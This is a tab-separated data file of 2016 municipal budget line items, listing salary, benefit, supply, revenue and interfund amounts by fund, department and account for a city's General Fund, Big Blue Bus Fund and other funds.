22271	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	2376296	0	0	0	0	0	0	0	0	0	0	0	2376296
22272	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569000.0	CULTURAL/ARTS GRANTS	810.0	 Supplies and Expenses	2016	440700	0	0	0	0	0	0	0	0	0	0	0	440700
22273	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	577870.0	HERITAGE SQUARE MUSEUM	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22274	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	522720.0	MILEAGE	804.0	 Supplies and Expenses	2016	100	0	0	0	0	0	0	0	0	0	0	0	100
22275	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	1100	0	0	0	0	0	0	0	0	0	0	0	1100
22276	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	588500.0	MISCELLANEOUS EQUIPMENT	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22277	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522120.0	UTILITIES - NATURAL GAS	806.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22278	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	522180.0	BANK FEES		 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
22279	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2016	38268	0	0	0	0	0	0	0	0	0	0	0	38268
22280	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	29027	0	0	0	0	0	0	0	0	0	0	0	29027
22281	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2016	32871	0	0	0	0	0	0	0	0	0	0	0	32871
22282	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533650.0	CONF / MTGS / TRAVEL-TV	804.0	 Supplies and Expenses	2016	3089	0	0	0	0	0	0	0	0	0	0	0	3089
22283	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	567010.0	PUBLIC SAFETY BONDS	910.0	 Supplies and Expenses	2016	970750	0	0	0	0	0	0	0	0	0	0	0	970750
22284	BA	IS	41	Big Blue Bus Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS		 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22285	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401070.0	TENNIS RESERVATIONS	612.0	Charges for Service	2016	-217900	0	0	0	0	0	0	0	0	0	0	0	-217900
22286	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400770.0	LEASE RENTAL REV-BEACH CLUB	618.0	Rentals	2016	-409822	0	0	0	0	0	0	0	0	0	0	0	-409822
22287	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401810.0	ENCROACHMENT REVENUE	622.0	Other	2016	-81389	0	0	0	0	0	0	0	0	0	0	0	-81389
22288	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2016	-580000	0	0	0	0	0	0	0	0	0	0	0	-580000
22289	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	908.0	 Supplies and Expenses	2016	-61713	0	0	0	0	0	0	0	0	0	0	0	-61713
22290	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511490.0	OVERTIME	804.0	Salaries and Wages	2016	4875	0	0	0	0	0	0	0	0	0	0	0	4875
22291	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2016	30600	0	0	0	0	0	0	0	0	0	0	0	30600
22292	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555010.0	CONTRACTUAL SERVICES	804.0	 Supplies and Expenses	2016	7752327	0	0	0	0	0	0	0	0	0	0	0	7752327
22293	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	577064.0	OTHER MISCELLANEOUS EXPENSES		 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
22294	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22295	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522130.0	UTILITIES - WATER	804.0	 Supplies and Expenses	2016	56723	0	0	0	0	0	0	0	0	0	0	0	56723
22296	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	910.0	 Supplies and Expenses	2016	653497	0	0	0	0	0	0	0	0	0	0	0	653497
22297	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2016	-25000	0	0	0	0	0	0	0	0	0	0	0	-25000
22298	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	577130.0	CONSUMER PROTECTION UNIT	804.0	 Supplies and Expenses	2016	16000	0	0	0	0	0	0	0	0	0	0	0	16000
22299	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578530.0	TRANSFER TO PIER FUND	910.0	 Supplies and Expenses	2016	515812	0	0	0	0	0	0	0	0	0	0	0	515812
22300	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522986.0	CNG FUEL-SERVICE VEHICLES		 Supplies and Expenses	2016	6120	0	0	0	0	0	0	0	0	0	0	0	6120
22301	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2016	43846	0	0	0	0	0	0	0	0	0	0	0	43846
22302	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	42449	0	0	0	0	0	0	0	0	0	0	0	42449
22303	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511681.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22304	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2016	29878	0	0	0	0	0	0	0	0	0	0	0	29878
22305	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2016	1189	0	0	0	0	0	0	0	0	0	0	0	1189
22306	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE		 Supplies and Expenses	2016	16085	0	0	0	0	0	0	0	0	0	0	0	16085
22307	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522976.0	LNG FUEL TAXES		 Supplies and Expenses	2016	377400	0	0	0	0	0	0	0	0	0	0	0	377400
22308	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2016	28052	0	0	0	0	0	0	0	0	0	0	0	28052
22309	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522319.0	GENERAL OFFICE SUPPLIES		 Supplies and Expenses	2016	12797	0	0	0	0	0	0	0	0	0	0	0	12797
22310	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511741.0	MEDICAL - POLICE	806.0	Salaries and Wages	2016	718846	0	0	0	0	0	0	0	0	0	0	0	718846
22311	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2016	182847	0	0	0	0	0	0	0	0	0	0	0	182847
22312	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	45853	0	0	0	0	0	0	0	0	0	0	0	45853
22313	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2016	133319	0	0	0	0	0	0	0	0	0	0	0	133319
22314	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	345865	0	0	0	0	0	0	0	0	0	0	0	345865
22315	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	26410	0	0	0	0	0	0	0	0	0	0	0	26410
22316	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	133625	0	0	0	0	0	0	0	0	0	0	0	133625
22317	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511743.0	MEDICAL - MISC. EMPL	816.0	Salaries and Wages	2016	231806	0	0	0	0	0	0	0	0	0	0	0	231806
22318	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	12320	0	0	0	0	0	0	0	0	0	0	0	12320
22319	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	15860	0	0	0	0	0	0	0	0	0	0	0	15860
22320	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2016	167085	0	0	0	0	0	0	0	0	0	0	0	167085
22321	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2016	80999	0	0	0	0	0	0	0	0	0	0	0	80999
22322	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2016	38590	0	0	0	0	0	0	0	0	0	0	0	38590
22323	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511749.0	VISION	806.0	Salaries and Wages	2016	1938	0	0	0	0	0	0	0	0	0	0	0	1938
22324	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511749.0	VISION	804.0	Salaries and Wages	2016	6409	0	0	0	0	0	0	0	0	0	0	0	6409
22325	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511748.0	DENTAL	816.0	Salaries and Wages	2016	3967	0	0	0	0	0	0	0	0	0	0	0	3967
22326	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511749.0	VISION	808.0	Salaries and Wages	2016	746	0	0	0	0	0	0	0	0	0	0	0	746
22327	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	3246	0	0	0	0	0	0	0	0	0	0	0	3246
22328	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	1641	0	0	0	0	0	0	0	0	0	0	0	1641
22329	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511748.0	DENTAL	812.0	Salaries and Wages	2016	13338	0	0	0	0	0	0	0	0	0	0	0	13338
22330	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511748.0	DENTAL	808.0	Salaries and Wages	2016	6376	0	0	0	0	0	0	0	0	0	0	0	6376
22331	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2016	829454	0	0	0	0	0	0	0	0	0	0	0	829454
22332	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2016	650291	0	0	0	0	0	0	0	0	0	0	0	650291
22333	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2016	140208	0	0	0	0	0	0	0	0	0	0	0	140208
22334	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		EAP	804.0	Salaries and Wages	2016	1582	0	0	0	0	0	0	0	0	0	0	0	1582
22335	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	11757	0	0	0	0	0	0	0	0	0	0	0	11757
22336	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22337	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		UNEMPLOYMENT	804.0	Salaries and Wages	2016	34540	0	0	0	0	0	0	0	0	0	0	0	34540
22338	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		EAP	808.0	Salaries and Wages	2016	2864	0	0	0	0	0	0	0	0	0	0	0	2864
22339	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	9311	0	0	0	0	0	0	0	0	0	0	0	9311
22340	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DCAP	810.0	Salaries and Wages	2016	574	0	0	0	0	0	0	0	0	0	0	0	574
22341	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	6707	0	0	0	0	0	0	0	0	0	0	0	6707
22342	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D[	810.0	Salaries and Wages	2016	2188	0	0	0	0	0	0	0	0	0	0	0	2188
22343	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	5008	0	0	0	0	0	0	0	0	0	0	0	5008
22344	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	646	0	0	0	0	0	0	0	0	0	0	0	646
22345	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EAP	812.0	Salaries and Wages	2016	1163	0	0	0	0	0	0	0	0	0	0	0	1163
22346	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DISABILITY INSURANCE	812.0	Salaries and Wages	2016	11795	0	0	0	0	0	0	0	0	0	0	0	11795
22347	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2016	13138	0	0	0	0	0	0	0	0	0	0	0	13138
22348	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EAP	816.0	Salaries and Wages	2016	319	0	0	0	0	0	0	0	0	0	0	0	319
22349	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		EAP	816.0	Salaries and Wages	2016	3715	0	0	0	0	0	0	0	0	0	0	0	3715
22350	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	8734	0	0	0	0	0	0	0	0	0	0	0	8734
22351	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	1308	0	0	0	0	0	0	0	0	0	0	0	1308
22352	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		DCAP	806.0	Salaries and Wages	2016	936	0	0	0	0	0	0	0	0	0	0	0	936
22353	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	19900	0	0	0	0	0	0	0	0	0	0	0	19900
22354	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		DCAP	806.0	Salaries and Wages	2016	1076	0	0	0	0	0	0	0	0	0	0	0	1076
22355	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION		LIFE INSURANCE & AD & D	806.0	Salaries and Wages	2016	2821	0	0	0	0	0	0	0	0	0	0	0	2821
22356	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT		UNEMPLOYMENT		Salaries and Wages	2016	3630	0	0	0	0	0	0	0	0	0	0	0	3630
22357	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	3799	0	0	0	0	0	0	0	0	0	0	0	3799
22358	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DCAP	808.0	Salaries and Wages	2016	502	0	0	0	0	0	0	0	0	0	0	0	502
22359	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		WELLNESS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22360	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS		EAP	808.0	Salaries and Wages	2016	1688	0	0	0	0	0	0	0	0	0	0	0	1688
22361	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2016	1788	0	0	0	0	0	0	0	0	0	0	0	1788
22362	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		EAP	808.0	Salaries and Wages	2016	5078	0	0	0	0	0	0	0	0	0	0	0	5078
22363	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	5473	0	0	0	0	0	0	0	0	0	0	0	5473
22364	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2016	29880	0	0	0	0	0	0	0	0	0	0	0	29880
22365	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2016	2509	0	0	0	0	0	0	0	0	0	0	0	2509
22366	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2016	20550	0	0	0	0	0	0	0	0	0	0	0	20550
22367	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	251304	0	0	0	0	0	0	0	0	0	0	0	251304
22368	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	226558	0	0	0	0	0	0	0	0	0	0	0	226558
22369	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	406071.0	PLAYA VISTA	650.0	Charges for Service	2016	-654914	0	0	0	0	0	0	0	0	0	0	0	-654914
22370	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555016.0	CONTRA SVCS-CIVIC PARKING	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22371	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2016	24199	0	0	0	0	0	0	0	0	0	0	0	24199
22372	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2016	101189	0	0	0	0	0	0	0	0	0	0	0	101189
22373	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2016	88345	0	0	0	0	0	0	0	0	0	0	0	88345
22374	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2016	20348	0	0	0	0	0	0	0	0	0	0	0	20348
22375	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	1018	0	0	0	0	0	0	0	0	0	0	0	1018
22376	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401003.0	SWIM CENTER-SWIM PASSES	612.0	Charges for Service	2016	-230000	0	0	0	0	0	0	0	0	0	0	0	-230000
22377	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401006.0	SWIM CENTER-SPECIAL CLASSES	612.0	Charges for Service	2016	-55500	0	0	0	0	0	0	0	0	0	0	0	-55500
22378	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	6947	0	0	0	0	0	0	0	0	0	0	0	6947
22379	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2016	5031	0	0	0	0	0	0	0	0	0	0	0	5031
22380	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	356	0	0	0	0	0	0	0	0	0	0	0	356
22381	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2016	7638	0	0	0	0	0	0	0	0	0	0	0	7638
22382	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
22383	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2016	3306	0	0	0	0	0	0	0	0	0	0	0	3306
22384	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	3540	0	0	0	0	0	0	0	0	0	0	0	3540
22385	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	298	0	0	0	0	0	0	0	0	0	0	0	298
22386	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2016	149	0	0	0	0	0	0	0	0	0	0	0	149
22387	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	24108	0	0	0	0	0	0	0	0	0	0	0	24108
22388	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2016	72	0	0	0	0	0	0	0	0	0	0	0	72
22389	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577580.0	BEACH / PIER REIMBURSEMENT	810.0	 Supplies and Expenses	2016	175529	0	0	0	0	0	0	0	0	0	0	0	175529
22390	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401730.0	LIBRARY CAFE UTILITY REIMBURSE	622.0	Other	2016	-11000	0	0	0	0	0	0	0	0	0	0	0	-11000
22391	BA	IS	4	Special Revenue Source Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	407790.0	CHILDCARE LINKAGE FEE	622.0	Other	2016	-35000	0	0	0	0	0	0	0	0	0	0	0	-35000
22392	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	109523	0	0	0	0	0	0	0	0	0	0	0	109523
22393	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	3714	0	0	0	0	0	0	0	0	0	0	0	3714
22394	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2016	367613	0	0	0	0	0	0	0	0	0	0	0	367613
22395	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	1408168	0	0	0	0	0	0	0	0	0	0	0	1408168
22396	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511748.0	DENTAL	804.0	Salaries and Wages	2016	15124	0	0	0	0	0	0	0	0	0	0	0	15124
22397	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		DCAP	804.0	Salaries and Wages	2016	860	0	0	0	0	0	0	0	0	0	0	0	860
22398	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	5374	0	0	0	0	0	0	0	0	0	0	0	5374
22399	BA	IS	55	Info Tech Rplcmnt & Svcs Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407250.0	TELECOMMUNICATIONS SERVICES	650.0	Charges for Service	2016	-526257	0	0	0	0	0	0	0	0	0	0	0	-526257
22400	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	17700	0	0	0	0	0	0	0	0	0	0	0	17700
22401	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2016	32189	0	0	0	0	0	0	0	0	0	0	0	32189
22402	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	4909	0	0	0	0	0	0	0	0	0	0	0	4909
22403	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	804.0	 Supplies and Expenses	2016	8307	0	0	0	0	0	0	0	0	0	0	0	8307
22404	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	555110.0	LEGAL EXPENSE	804.0	 Supplies and Expenses	2016	1921	0	0	0	0	0	0	0	0	0	0	0	1921
22405	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	20890	0	0	0	0	0	0	0	0	0	0	0	20890
